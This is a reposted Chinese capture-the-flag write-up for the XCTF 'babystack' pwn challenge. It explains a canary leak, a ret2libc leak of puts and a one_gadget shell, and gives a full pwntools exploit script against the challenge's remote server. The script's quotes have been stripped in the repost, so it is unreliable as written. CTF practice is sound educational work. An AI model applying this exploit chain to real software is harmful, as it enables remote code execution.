首页 > 其他 > 详细

[攻防世界]pwn1

时间:2019-11-19 09:47:24      阅读:267      评论:0      收藏:0      [点我收藏+]

给出了libc.so 应该是计算偏移

技术分享图片

图上说明的很清楚了

通过case1,覆盖到标志位,就可以通过case2 把表示位puts出来

因为标志位最后两位一定是\x00 而puts会把\x00当作回车‘\n‘输出 这方便我们recv的定位

泄露出标志位,通过case3 就可以常规溢出了

这里用到一个很方便的新东西 one_gadget

这玩意可以直接给你把运行shell的代码地址找出来

比如这样

技术分享图片

这也是libc里面的地址 仍然需要base地址计算真实地址

每次遇到要recv需要的东西的时候一定要确保接下来输出就是自己需要recv的东西

from pwn import *
# io=process(‘./babystack‘)
io=remote(111.198.29.45,54771)
elf=ELF(./babystack)
libc=ELF(./libc-2.23.so)

io.sendlineafter(>> ,1)
payload=A*0x88
io.sendline(payload)

io.sendlineafter(>> ,2)
io.recvuntil(A*0x88+\n)
canary=u64(io.recv(7).rjust(8,\x00))
print canary:+hex(canary)
rdi_pop=0x400a93
puts_plt=elf.plt[puts]
puts_got=elf.got[puts]
main_addr=0x400908
payload=a*(0x88)+p64(canary)+a*8
payload+=p64(rdi_pop)+p64(puts_got)
payload+=p64(puts_plt)+p64(main_addr)
io.sendlineafter(>> ,1)
io.sendline(payload)
io.recv()
io.sendlineafter(>> ,3)
puts_addr=u64(io.recv(8).ljust(8,\x00))
print puts_addr:+hex(puts_addr)
base=puts_addr-libc.symbols[puts]
one_gadget_addr=base+0x45216

io.sendlineafter(>> ,1)
payload=a*(0x88)+p64(canary)+a*8+p64(one_gadget_addr)
io.sendline(payload)
io.sendlineafter(>> ,3)
print "end"
io.interactive()

#rdi, rsi, rdx, rcx, r8, r9

 

 

[攻防世界]pwn1

原文:https://www.cnblogs.com/lxy8584099/p/11887235.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!